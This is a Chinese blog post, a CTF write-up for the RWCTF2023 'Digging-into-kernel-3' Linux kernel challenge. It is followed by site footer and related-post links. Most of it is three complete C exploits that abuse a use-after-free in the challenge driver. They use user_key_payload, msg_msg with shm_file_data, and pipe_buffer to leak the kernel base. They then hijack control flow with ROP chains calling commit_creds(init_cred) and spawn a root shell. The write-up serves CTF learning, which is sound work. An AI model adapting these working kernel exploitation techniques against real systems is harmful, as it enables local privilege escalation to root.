【user_key_payload、msg_msg、pipe_buffer】再探RWCTF2023-Digging-into-kernel-3

已于 2023-10-06 09:25:36 修改
阅读量441 收藏
点赞数 1
分类专栏： # kernel-pwn 文章标签： kernel-pwn
于 2023-10-05 23:58:16 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_61670993/article/details/133580347
版权

前言

在之前的文章中，我利用 ldt_struct 去泄漏的内核基地址，但是在内核中还存在着一些结构体可以去泄漏内核基地址。

user_key_payload 越界读泄漏内核基地址

本题并没有开启 slab_freelist_random 保护，并且可以可以同时控制两个堆块，所以可以直接打。

这里采用 user_key_payload 越界读被释放的 user_key_payload 去泄漏内核基地址。当然你也可以选择读其他的，但是这题好像不能打开 /dev/ptmx，然后我看又有这个文件，权限也有，但是不知道为啥就是打不开。

exp 如下：

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <asm/ldt.h>
#include <sys/shm.h>
#include <sys/wait.h>

#define USER_FREE_PAYLOAD_RCU 0xFFFFFFFF813D8210
size_t pop_rdi = 0xffffffff8106ab4d; // pop rdi ; ret
size_t init_cred = 0xffffffff82850580;
size_t commit_creds = 0xffffffff81095c30;
size_t add_rsp_xx = 0xFFFFFFFF812A9811;// FFFFFFFF813A193A;
size_t swapgs_kpti = 0xFFFFFFFF81E00EF3;

struct node {
        int idx;
        int size;
        char* ptr;
};

void err_exit(char *msg)
{
    printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
    sleep(5);
    exit(EXIT_FAILURE);
}

void info(char *msg)
{
    printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}

void hexx(char *msg, size_t value)
{
    printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}

void binary_dump(char *desc, void *addr, int len) {
    uint64_t *buf64 = (uint64_t *) addr;
    uint8_t *buf8 = (uint8_t *) addr;
    if (desc != NULL) {
        printf("\033[33m[*] %s:\n\033[0m", desc);
    }
    for (int i = 0; i < len / 8; i += 4) {
        printf("  %04x", i * 8);
        for (int j = 0; j < 4; j++) {
            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
        }
        printf("   ");
        for (int j = 0; j < 32 && j + i * 8 < len; j++) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}

/* bind the process to specific core */
void bind_core(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

    printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}

int rw_fd;
int seq_fd;
void add(int idx, int size, char* ptr)
{
        struct node n = { .idx = idx, .size = size, .ptr = ptr };
        ioctl(rw_fd, 0xDEADBEEF, &n);
//      if (ioctl(rw_fd, 0xDEADBEEF, &n) < 0) info("Copy error in add function");
}

void dele(int idx)
{
        struct node n = { .idx = idx };
        ioctl(rw_fd, 0xC0DECAFE, &n);
}

int key_alloc(char *description, char *payload, size_t plen)
{
    return syscall(__NR_add_key, "user", description, payload, plen,
                   KEY_SPEC_PROCESS_KEYRING);
}

int key_read(int keyid, char *buffer, size_t buflen)
{
    return syscall(__NR_keyctl, KEYCTL_READ, keyid, buffer, buflen);
}

int key_revoke(int keyid)
{
    return syscall(__NR_keyctl, KEYCTL_REVOKE, keyid, 0, 0, 0);
}

int main(int argc, char** argv, char** env)
{
        bind_core(0);
        int res;
        size_t kernel_offset;
        size_t buf[0x100] = { 0 };

        rw_fd = open("/dev/rwctf", O_RDWR);
        if (rw_fd < 0) err_exit("Failed to open /dev/rwctf");

        // freelist 0x40 : obj0 -> obj1 -> obj2
        add(0, 0x40, buf); // obj0
        add(1, 0x40, buf); // obj1
        // freelist 0x40 : obj2
        dele(1);
        dele(0);

        // freelist 0x40 : obj0 -> obj1 -> obj2
        int k0 = key_alloc("pwner0", buf, 0x40-0x18); // user_key_payload0 : obj1
        int k1 = key_alloc("pwner1", buf, 0x40-0x18); // user_key_payload1 : obj2

        // freelist 0x40 : obj0
        key_revoke(k1);
        // freelist 0x40 : obj2 -> obj0
        dele(1);
        // freelist 0x40 : obj1 -> obj2 -> obj0
        buf[0] = buf[1] = 0;
        buf[2] = 0x100*8;
        add(1, 0x40 , buf);
        // freelist 0x40 : obj2 -> obj0
        res = key_read(k0, buf, 0x100*8);
        kernel_offset = buf[6] - USER_FREE_PAYLOAD_RCU;
        binary_dump("user_key_payload data", buf, 0x100);
        hexx("kernel_offset", kernel_offset);

        puts("Hijack the Program Execution Flow");
        pop_rdi += kernel_offset;
        init_cred += kernel_offset;
        commit_creds += kernel_offset;
        swapgs_kpti += kernel_offset;
        add_rsp_xx += kernel_offset;
        hexx("add_rsp_xx", add_rsp_xx);

        add(0, 0x20, buf);
        dele(0);

        seq_fd = open("/proc/self/stat", O_RDONLY);
        dele(0);
        add(0, 0x20, &add_rsp_xx);

        asm(
        "mov r15, pop_rdi;"
        "mov r14, init_cred;"
        "mov r13, commit_creds;"
        "mov r12, swapgs_kpti;"
        );
        read(seq_fd, buf, 8);
        hexx("UID", getuid());
        system("/bin/sh");

        return 0;
}

msg_msg+shm_file_data 泄漏内核基地址

这里最开始我也是想利用 msg_msg 去泄漏内核基地址的，但是我一直在考虑越界读，而忽略了这里我们是有一个任意大小的 UAF，所以我们可以劫持一个大小为 0x20 的 msg_segment，然后将其分配到 shm_file_data，这样就可以直接读取 init_ipc_ns 了。

这里为什么是 shm_file_data 呢？因为 msg_segment 的第一个字段是 next，而在进行 msgrcv 时，终止读取的条件就是 msg_segment->next 为空，而 shm_file_data 刚好满足这个条件。

这里我也尝试分配到 seq_operations 结构体，但是其第一个字段为 single_start 不为 NULL，导致后面直接 panic。

补个东西：在其他su战队的wp上看到的 特别要注意，由于内核关闭了CONFIG_CHECKPOINT_RESTORE，MSG_COPY无法使用 并且由于SElinux的开启，struct msg的security指针不能被破坏
所以之前我越界读失败了，但是他并没有说是如何看出来内核关闭了CONFIG_CHECKPOINT_RESTORE

exp 如下：

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/shm.h>
#include <sys/wait.h>

#define INIT_IPC_NS 0xffffffff829ac6c0
size_t pop_rdi = 0xffffffff8106ab4d; // pop rdi ; ret
size_t init_cred = 0xffffffff82850580;
size_t commit_creds = 0xffffffff81095c30;
size_t add_rsp_xx = 0xFFFFFFFF812A9811;// FFFFFFFF813A193A;
size_t swapgs_kpti = 0xFFFFFFFF81E00EF3;

struct node {
        int idx;
        int size;
        char* ptr;
};

void err_exit(char *msg)
{
    printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
    sleep(5);
    exit(EXIT_FAILURE);
}

void info(char *msg)
{
    printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}

void hexx(char *msg, size_t value)
{
    printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}

void binary_dump(char *desc, void *addr, int len) {
    uint64_t *buf64 = (uint64_t *) addr;
    uint8_t *buf8 = (uint8_t *) addr;
    if (desc != NULL) {
        printf("\033[33m[*] %s:\n\033[0m", desc);
    }
    for (int i = 0; i < len / 8; i += 4) {
        printf("  %04x", i * 8);
        for (int j = 0; j < 4; j++) {
            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
        }
        printf("   ");
        for (int j = 0; j < 32 && j + i * 8 < len; j++) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}

/* bind the process to specific core */
void bind_core(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

    printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}

int rw_fd;
int seq_fd;
void add(int idx, int size, char* ptr)
{
        struct node n = { .idx = idx, .size = size, .ptr = ptr };
        ioctl(rw_fd, 0xDEADBEEF, &n);
//      if (ioctl(rw_fd, 0xDEADBEEF, &n) < 0) info("Copy error in add function");
}

void dele(int idx)
{
        struct node n = { .idx = idx };
        ioctl(rw_fd, 0xC0DECAFE, &n);
}

struct msg_buf {
        long m_type;
        char m_text[1];
};

struct msg_header {
        void* l_next;
        void* l_prev;
        long m_type;
        size_t m_ts;
        void* next;
        void* security;
};

int main(int argc, char** argv, char** env)
{
        bind_core(0);
        int qid;
        int shm_id;
        char* shm_addr;
        size_t kernel_offset;
        size_t buf[0x620] = { 0 };
        struct msg_buf* msg = (struct msg_buf*)buf;

        rw_fd = open("/dev/rwctf", O_RDWR);
        if (rw_fd < 0) err_exit("Failed to open /dev/rwctf");

        add(0, 0x20, buf);
        dele(0);

        qid = msgget(IPC_PRIVATE, 0666|IPC_CREAT);
        msg->m_type = 1;
        memset(msg->m_text, 'A', 0x1020);
        msgsnd(qid, msg, 0x1020-0x30-0x8, 0);

        dele(0);
        if ((shm_id = shmget(IPC_PRIVATE, 0x1000, 0600)) == -1) err_exit("shmget");
        if ((shm_addr = shmat(shm_id, NULL, 0)) == -1) err_exit("shmat");

        msgrcv(qid, buf, 0x1020-0x30-8, 0, IPC_NOWAIT|MSG_NOERROR);

        binary_dump("msg data", (char*)buf+0xfd0, 0x100);
        kernel_offset = *(size_t*)((char*)buf+0xfd8) - INIT_IPC_NS;
        hexx("kernel_offset", kernel_offset);

        puts("Hijack the Program Execution Flow");
        pop_rdi += kernel_offset;
        init_cred += kernel_offset;
        commit_creds += kernel_offset;
        swapgs_kpti += kernel_offset;
        add_rsp_xx += kernel_offset;
        hexx("add_rsp_xx", add_rsp_xx);

        add(0, 0x20, buf);
        dele(0);

        seq_fd = open("/proc/self/stat", O_RDONLY);
        dele(0);
        add(0, 0x20, &add_rsp_xx);

        asm(
        "mov r15, pop_rdi;"
        "mov r14, init_cred;"
        "mov r13, commit_creds;"
        "mov r12, swapgs_kpti;"
        );
        read(seq_fd, buf, 8);
        hexx("UID", getuid());
        system("/bin/sh");

        return 0;
}

pipe_buffer 劫持程序执行流

这里是参考 ctf-wiki 上的做法，并且假设开启了一些保护，比如 SLAB_FREELIST_HARDENED，CONFIG_RANDOMIZE_KSTACK_OFFSET。

这时也是采用 user_key_payload 越界读去泄漏内核基地址。但是我发现虽然 ctf-wiki 上前面是利用的堆喷搞的，但是最后劫持 pipe_buffer 时还是假设的没开相应的保护，所以直接单纯的利用堆喷去拿到 UAF 堆块给 user_key_payload 结构体。

然后的关键点就是，通过 pipe_buffer 劫持程序执行流其实就是伪造其 pipe_buf_operations 函数表，但是题目开启了 smap 保护，所以我们又不能直接将函数表伪造在用户空间，那么我们伪造在那里呢？

所以这里我们需要一个内核空间，要求这块空间可控并且知道其地址。这里我们选择 pipe_buffer。我们可以通过让 pipe_inode_info 与 user_key_payload 占用同一个堆块去泄漏 pipe_buffer 的地址，这里要注意的是 pipe_inode_info 会将 user_key_payload 的 datalen 字段覆盖为 0xffff。

当然这里你也可以用 user_key_payload 越界读去泄漏 pipe_buffer 的地址，只是这里可能需要堆喷一下 pipe_buffer，但是可能会比较难，因为我们还有控制 pipe_buffer，所以这里命中的机会可能不是很高。

这里我用堆喷 user_key_payload 去泄漏内核基地址，发现非常不稳定，但是 ctf-wiki 上的脚本是稳定的。所以这里我就不堆喷了......

 这里我们选择劫持 pipe_buf_operations->release，当我们关闭管道两端时就会调用这个函数。

struct pipe_buf_operations {
	
	int (*confirm)(struct pipe_inode_info *, struct pipe_buffer *);

	
	void (*release)(struct pipe_inode_info *, struct pipe_buffer *);

	bool (*try_steal)(struct pipe_inode_info *, struct pipe_buffer *);

	bool (*get)(struct pipe_inode_info *, struct pipe_buffer *);
};

可以看到执行 release 时，rdi 指向的是 pipe_inode_info，rsi 指向的时 pipe_buffer，这里我们选择将内核栈迁移到 pipe_buffer 上，之所以不迁移到 pipe_inode_info 中是因为其里面保存这 pipe_buffer 指针，且其大小只有 192，所以你写的时候会覆盖 pipe_buffer 指针。

然后这里的 gadget 给我一顿好好，最后直接用 ctf-wiki 上面的，实在没找到......

最后这里直接调用 system("/bin/sh") 会出现段错误，没探究原因，大家可以自己调试一些。我直接使用的 execve 函数去启一个 shell。

exp 如下：

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <asm/ldt.h>
#include <sys/shm.h>
#include <sys/wait.h>

#define USER_FREE_PAYLOAD_RCU 0xFFFFFFFF813D8210
size_t pop_rdi = 0xffffffff8106ab4d; // pop rdi ; ret
size_t init_cred = 0xffffffff82850580;
size_t commit_creds = 0xffffffff81095c30;
size_t swapgs_kpti = 0xFFFFFFFF81E00F01;
size_t push_rsi_pop_rsp_pop_3 = 0xffffffff81250c9d; // PUSH_RSI_POP_RSP_POP_RBX_POP_RBP_POP_R12_RET

struct node {
        int idx;
        int size;
        char* ptr;
};

void err_exit(char *msg)
{
    printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
    sleep(5);
    exit(EXIT_FAILURE);
}

void info(char *msg)
{
    printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}

void hexx(char *msg, size_t value)
{
    printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}

void binary_dump(char *desc, void *addr, int len) {
    uint64_t *buf64 = (uint64_t *) addr;
    uint8_t *buf8 = (uint8_t *) addr;
    if (desc != NULL) {
        printf("\033[33m[*] %s:\n\033[0m", desc);
    }
    for (int i = 0; i < len / 8; i += 4) {
        printf("  %04x", i * 8);
        for (int j = 0; j < 4; j++) {
            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
        }
        printf("   ");
        for (int j = 0; j < 32 && j + i * 8 < len; j++) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}

/* bind the process to specific core */
void bind_core(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

    printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}


void get_root_shell()
{
        hexx("UID", getuid());
//      system("/bin/sh");
        char *args[] = {"/bin/sh", NULL};
        execve("/bin/sh", args, NULL);
}

size_t user_cs, user_rflags, user_rsp, user_ss;
void save_status()
{
        asm(
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_rsp, rsp;"
        "pushf;"
        "pop user_rflags;"
        );
        info("Status saved successfully");
}

int rw_fd;
int seq_fd;
void add(int idx, int size, char* ptr)
{
        struct node n = { .idx = idx, .size = size, .ptr = ptr };
        ioctl(rw_fd, 0xDEADBEEF, &n);
//      if (ioctl(rw_fd, 0xDEADBEEF, &n) < 0) info("Copy error in add function");
}

void dele(int idx)
{
        struct node n = { .idx = idx };
        ioctl(rw_fd, 0xC0DECAFE, &n);
}

int key_alloc(char *description, char *payload, size_t plen)
{
    return syscall(__NR_add_key, "user", description, payload, plen,
                   KEY_SPEC_PROCESS_KEYRING);
}

int key_read(int keyid, char *buffer, size_t buflen)
{
    return syscall(__NR_keyctl, KEYCTL_READ, keyid, buffer, buflen);
}

int key_revoke(int keyid)
{
    return syscall(__NR_keyctl, KEYCTL_REVOKE, keyid, 0, 0, 0);
}

int main(int argc, char** argv, char** env)
{
        bind_core(0);
        save_status();

        int key[2];
        int pipe_key;
        int pipe_fd[2];
        char des[100];
        size_t n;
        size_t kernel_offset;
        size_t pipe_buffer;
        size_t* buf;

        rw_fd = open("/dev/rwctf", O_RDWR);
        if (rw_fd < 0) err_exit("Failed to open /dev/rwctf");
        buf = (size_t*)mmap(NULL, 0x1000*16, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);

        add(0, 0x40, buf);
        add(1, 0x40, buf);
        dele(1);
        dele(0);

        key[0] = key_alloc("pwn0", buf, 0x40-0x18);
        key[1] = key_alloc("pwn1", buf, 0x40-0x18);

        dele(1);
        buf[0] = buf[1] = 0;
        buf[2] = 0x100*8;
        add(1, 0x40, buf);

        key_revoke(key[1]);
        key_read(key[0], buf, 0x100*8);
        binary_dump("user_key_payload", buf, 0x100);
        kernel_offset = buf[6] - USER_FREE_PAYLOAD_RCU;
        hexx("kernel_offset", kernel_offset);

        add(0, 192, buf);
        add(1, 192, buf);
        dele(1);
        dele(0);

        pipe_key = key_alloc("pwnerer", buf, 192-0x18);
        if (pipe_key < 0) err_exit("key_alloc pipe_key");

        add(0, 1024, buf);
        dele(0);
        dele(1);

        pipe(pipe_fd);

        n = key_read(pipe_key, buf, 0xffff);
        hexx("key_read len", n);
        binary_dump("pipe_inode_info", buf, 192-0x18);
        pipe_buffer = buf[16];
        hexx("pipe_buffer addr", pipe_buffer);

        size_t rop[] = {
                0,
                0,
                pipe_buffer+0x18,
                pop_rdi+kernel_offset,
                push_rsi_pop_rsp_pop_3+kernel_offset,
                pop_rdi+kernel_offset,
                init_cred+kernel_offset,
                commit_creds+kernel_offset,
                swapgs_kpti+kernel_offset,
                0,
                0,
                get_root_shell,
                user_cs,
                user_rflags,
                user_rsp,
                user_ss
        };
        binary_dump("ROP chain", rop, sizeof(rop));
        memcpy(buf, rop, sizeof(rop));
        dele(0);
        add(0, 1024, buf);

        close(pipe_fd[1]);
        close(pipe_fd[0]);

        return 0;
}

效果如下，三个脚本均可成功提权：

总结

其实 ldt_struct、user_key_payload、msg_msg 是比较常用的实现越界读和任意读的结构体，其中 ldt_struct 大小固定（0x10 slub/0x20 slab），而 user_key_payload 与 msg_msg 的大小是不固定的，但是有固定的头字段。

然后劫持程序执行流主要就是 seq_operations、tty_struct、pipe_buffer等结构体，目前我就主要接触到这三个。

然后用于泄漏内核基地址的结构体主要有 shm_file_data、user_key_payload、seq_operations、tty_struct 等等结构体，目前主要接触到这些。其中 user_key_payload 是得将 key 销毁后，其 rcu.func 会被赋值为 user_free_payload_rcu() 以此来进行泄漏。

XiaozaYa
关注
  • 1
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
专栏目录
ANSI_VITA_46.0-2007
02-17
VPX（Versatile Payload eXchange）是一种先进的模块化嵌入式计算平台，设计用于军事、航空航天和其他对环境耐受性有严格要求的领域。它继承了VMEbus和VPIC等传统总线技术的优点，并增加了高速数据传输能力，支持更...
ISOIEC-14496-26_2010Cor-2_2011.zip_14496-26_14496-3_IEC_ISO_IEC_
09-24
This part of ISO/IEC 14496 specifies how tests can be designed to verify whether compressed ...data compliant with the syntactic and semantic bitstream payload requirements specified in ISO/IEC 14496-3.
【ldt_struct结构体的利用】RWCTF2023-Digging-into-kernel-3
qq_61670993的博客
10-04 199
ldt_struct 结构体泄漏内核地址
kernel-3 从内核出发
Hello, JavaER
08-01 180
编译内核： 在编译内核之前，必须配置它； 配置的选项以CONFIG_FEATURE形式表示，如对称多处理器（SMP）的配置选项为：CONFIG_SMP=y/n；y表示启用，n表示不起作用； make config：该工具会挨个遍历所有配置项，要求用户选择yes,no或是module； make menuconfig：基于X11的图形工具； make xconfig：基于gtk+图形工...
关于pwn64位amd构造payload时的堆栈平衡问题以及32位与64位构造payload的区别与注意事项
hu_c_t_f的博客
07-24 2375
pwn入门，栈溢出漏洞是比较合适的。但我们经常会遇到i386【下面称32位】和arm64【下面称64位】的可执行程序【题目附件】。而32位与64位同样的情况，比如同样是ret2text或ret2syscall时，写的payload是不一样的，但大体的思路是一样的。本人也是入门pwn的小白，写的不对的地方还请师傅们指出。栈堆平衡32位中，没有堆栈平衡一说，而64位中有。payload中的堆栈平衡简单来说，就是要保证payload的字节数是16的倍数。
【slab/0x40 UAF】TPCTF2023 - core 一题多解
最新发布
qq_61670993的博客
12-02 1005
菜就多练
【kernel exploit】CVE-2022-34918 nftables 堆溢出漏洞利用（list_head任意写）
panhewu9919的博客
07-26 2038
CVE-2022-34918 nftable堆溢出漏洞利用（list_head任意写）
snmp4j-1.8.2.zip_Composed_Payload_java pdu_org.snmp4j_snmp4j-1.8
09-21
snmp4j 1.8.2版 The org.snmp4j classes are capable of creating, ... A SNMP message is composed of its message header and its PDU payload. This package contains three main groups of classes and interfaces:
payload_dumper_tool_by_ius_payload_dumper_payload_dumper.py_andr
10-01
【payload_dumper_tool_by_ius_payload_dumper_payload_dumper.py_andr】是一个专门用于Android设备的工具，其主要功能是dump设备上的payload数据，其中包括提取`boot.img`和其他相关文件。在Android系统中，`boot....
Video-Transmission-Using-RPT.zip_Transmission_Video Transmission
09-14
RTP本身并不保证数据的可靠传输，而是依赖于底层的传输层协议，如UDP（User Datagram Protocol）。 在Java中实现RTP协议，首先需要导入相关的Java包，例如`javax.media.rtp`，它提供了RTP和RTCP的API。开发者可以...
[漏洞分析] CVE-2022-2766六 IPV6 ESP协议页溢出内核提权
热门推荐
Breeze的博客
04-02 1万+
CVE-2022-27666 IPV6 ESP协议页溢出内核提权 文章目录CVE-2022-27666 IPV6 ESP协议页溢出内核提权漏洞简介环境搭建虚拟机docker漏洞原理漏洞发生点调用栈漏洞利用参考 漏洞作者博客：https://etenal.me/archives/1825 写的非常详细，这里只是简单补充一下环境搭建和简单分析一下原理和利用等。 漏洞简介 漏洞编号: CVE-2022-27666 漏洞产品: linux kernel - esp6 影响版本: ~ linux kernel 5.
【kernel exploit】CVE-2022-32250 nftables错误链表操作导致UAF写的漏洞利用
panhewu9919的博客
11-03 1490
`nftables` 模块的 `net/netfilter/nf_tables_api.c` 采用 `NFT_MSG_NEWSET` 功能来添加 `nft_set` 时，处理 `lookup` 和 `dynset` expression 时，由于错误的 `NFT_EXPR_STATEFUL` 检查，`nft_expr` 对象释放后仍位于`nft_set->binding` 链表中，新加入 `nft_expr` 时导致**UAF写**（触发漏洞需要 `CAP_NET_ADMIN` 权限）。UAF写会往 `km
2023第五届 Real World CTF 体验赛 Writeup（web）
一只爱吃橙子的羊
01-12 2543
2023第五届 Real World CTF 体验赛 Writeup（web）
linux kernel pwn 内核利用
sky123博客
05-17 1793
基础知识 内核概述 内核架构 通常来说我们可以把内核架构分为两种：宏内核和微内核，现在还有一种内核是混合了宏内核与微内核的特性，称为混合内核。 宏内核（Monolithic kernel），也译为集成式内核、单体式内核，一种操作系统内核架构，此架构的特性是整个内核程序是一个单一二进制可执行文件，在内核态以监管者模式（Supervisor Mode）来运行。相对于其他类型的操作系统架构，如微内核架构或混合内核架构等，这些内核会定义出一个高端的虚拟接口，由该接口来涵盖描述整个电脑硬件，这些描述会集合成一组硬
【userfaultfd+msg_msg+pipe_buffer】CISCN2022-cactus
qq_61670993的博客
10-10 153
userfaultfd实现任意写
【Exploit trick】利用poll_list对象构造kmalloc-32任意释放 (corCTF 2022-CoRJail)
panhewu9919的博客
11-11 1063
CoRJail介绍：内核利用+docker逃逸，漏洞是 off-by-one，docker容器含有定制的seccomp过滤。本方法是利用poll_list对象来构造任意释放。环境限制：CoRJail 运行在 custom Debian Bullseye image （简称CoROS）上的 docker 容器中，作者修改了来阻止msgget()/msgsnd()/msgrcv()调用，但是允许调用add_key()/keyctl()，容器中可以访问，作者定制的 seccomp 文件位于here。需自行编译。
[漏洞分析] CVE-2022-32250 netfilter UAF内核提权
Breeze的博客
10-24 1万+
分析CVE-2022-32250 漏洞触发原理以及利用技巧
系统移植3：kernel的配置，编译和移植以及根文件系统
m0_70983574的博客
08-22 1110
主要介绍了内核的配置，编译，移植，简单介绍了根文件系统的制作
(CVE-2022-276\66): Exploit esp6 modules linux 内核攻击-分析翻译
inquisiter
06-02 738
添加链接描述
评论 2
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值